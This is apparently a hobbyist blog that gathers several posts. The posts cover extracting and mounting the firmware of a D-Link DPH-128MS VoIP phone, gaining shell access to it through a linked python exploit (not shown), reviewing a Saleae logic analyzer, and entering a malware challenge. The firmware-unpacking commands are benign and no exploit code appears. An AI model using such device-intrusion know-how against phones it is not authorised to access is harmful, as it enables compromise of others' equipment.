So i can now connect to my phone and poke around. Some interesting things but here’s where I need your help. I have no way to get new commands on the phone. So far all the internet has turned up is to try to use echo with hex escapes but the busybox version on the phone doesn’t support that. So if anyone has any suggestions let me know. For now my plan is to go back to the firmware and work on making an updated firmware that I can flash to the phone with more commands available and a way to copy files.

Finally like I said earlier, here are all the files I mentioned in the article including the python exploit. The exploit itself is a little messy and you have to edit it by hand to point to the ips you want.

tftpsrv.zip

D-Link DPH-128MS (Part 1)

Alright, so at work a couple years back we got these fancy new VOIP phones. I immediately set into trying to figure things out to see what else we might do with them. I unfortunately set that project aside but just recently picked it back up. I figured I would post the info I found out in case anyone else was interested. I decided to split this into multiple posts in an attempt to keep the posts a little shorter. Anyways this first post is about the firmware.

So D-Link at one point made DPH-125MS and DPH-128MS phones that used Microsoft Response Point technology. As of right now, their website lists them as “phased out”. Since my phone is a DPH-128MS these posts talk specifically about that, but the firmware is similar and I’m sure the phones are similar hardware. The latest firmware can be downloaded from here:

DPH-128MS Firmware v01.15.10

If you unzip this, inside the folder you’ll find an interesting file called Firmware.xml and in there it says that it upgrades via tftp. I confirmed this by watching network traffic between my computer and the phone while upgrading. The xml file also says that full.img is the actual firmware file. So the first thing I did was to run strings on full.img. One of the first strings that I actually came across was this:

/home/mikko/release_p125/kernel/linux-2.4.17_mvl21/include/linux/dcache.h

Alright great, I know linux. Not only that, but it tells us what kernel it’s running and based on the mvl21 part we know it’s MontaVista Linux. Anyway the next thing I did was fire up a hex editor looking for magic numbers. That’s the next easiest thing to do. The very first number I found was 0x27051956. A quick google search says this is the magic number for u-boot. Quickly skimming over the u-boot format I can at least see that there’s two different things in this file. Something called ACT_Image_SD_P125_MSFT and something else called P125_MSFT_Kernel_Image.

Anyway rather than looking more into u-boot i just kept searching for magic numbers. Just sorta glancing through the file for spots where it looked like some data ended and other stuff started. I eventually also found the magic number for gzip and the magic number for jffs2.

Now here’s where everything gets a little fuzzy since I did this part when we originally got the phones. Basically though I just used the hex editor and manually extracted out the gzip part and the jffs2 part. The gzip part was clearly a ramdisk and most likely was a ramdisk embedded in the kernel image. I quickly checked out the ramdisk

gunzip ramdisk.gz
mkdir ramdisk_dir
mount -o loop ramdisk ramdisk_dir

Nothing terribly interesting, a bare bones linux system. Busybox, the usual stuff for small embedded systems. Next I set about checking out the jffs2 filesystem.

mkdir m
modprobe mtdram total_size=24576 erase_size=128
cat /proc/mtd
modprobe mtdblock
dd if=jffs2.img of=/dev/mtdblock0
mount -t jffs2 /dev/mtdblock0 m

Now this is the image that was interesting. There was only a handful of files but the two that caught my eye were act_sip and tftpsrv. The act_sip seemed to most likely be the main voip app on the phone. tftpsrv was the app that I decided to focus my attention on since I was interested in possibly uploading new firmware.

Aaaand this is where I’ll stop part one. Now mind you, if I had of realized this was a u-boot image in the first place I probably could have just unpacked things and created a new ramdisk with some extra stuff and re-flashed the phone and as you’ll soon find out I might still have to do this. But I didn’t, I set off checking out tftpsrv and that’s what I’ll talk about in the next post.

logic analyzer

So in the most recent edition of Circuit Cellar, one of the things in the “new things” column was a $150 dollar logic analyzer. Most logic analyzers are really expensive and since this one seemed affordable I decided to check it out. The Saleae website has better information that I could ever describe, but basically it was a USB, 8 Channel, 25Mhz logic analyzer with a really slick looking user interface. I decided I would order one and give it a try. I received mine within maybe 2-3 days so I was very happy about the fast shipping. I immediately set out to unpack the thing and connect it to something. The closest thing I had on hand was a toy Dora The Explorer phone. I quickly opened it up and hooked the analyzer up to the flash EEPROM chip in it.

Logic Analyzer

Originally I tried using the logic analyzer on my Macbook using VMWare Fusion and although all the software installed fine, the USB didn’t play nice. I kept getting buffer overruns and errors about telling me that I needed to use lower sampling rate. I decided that the slowdown on the virtual machine and the VMWare USB probably was the cause so I decided to install the software on my main Windows XP machine. The software installed easily and the interface is dead simple to use. Even on my real Windows XP machine though I still get errors about needing to use a lower sampling rate. I got this even without anything else connected on USB and no other applications running. I was disappointed about this but I hope that future software updates will make this better.

Overall though I was extremely happy. I was able to capture the reading of data from the EEPROM when I hit the buttons on the phone. I can only assume that this EEPROM is where the voice data is stored. I’m not sure though if it just stores the customizable name voice data or also all voice data used. This toy uses a bunch of Winbond PowerSpeech chips and Winbond doesn’t make information easy to come buy. Very neat though. I was able to easily see the clocking in of the address and read out of the data.

Saleae Logic

I did manage to find a datasheet for the EEPROM so I knew the pins and then I wrote a python script to decode the logic analyzer data into a file for me. So now I can take a better look at what is stored in the EEPROM. I would imagine also now that knowing exactly how I should talk to this chip I could hook it up myself to a micro controller and read the complete contents from it. I can’t wait to use the logic analyzer for more things and I wouldn’t hesitate to recommend the Saleae Logic product to any other hobbyist on a budget.

2008 malware challenge

Recently the NeoInfoSec guys put on a malware reverse engineering challenge. You can find out more information here. The winners still haven’t been announced because they’re still reviewing all the submissions. I have never analyzed malware before but I figured since I’d done a lot of reverse engineering I would give it a shot. Below is the link to the paper that I submitted.

scott-knight-2008-malware-challenge.pdf

Follow

Get every new post delivered to your Inbox.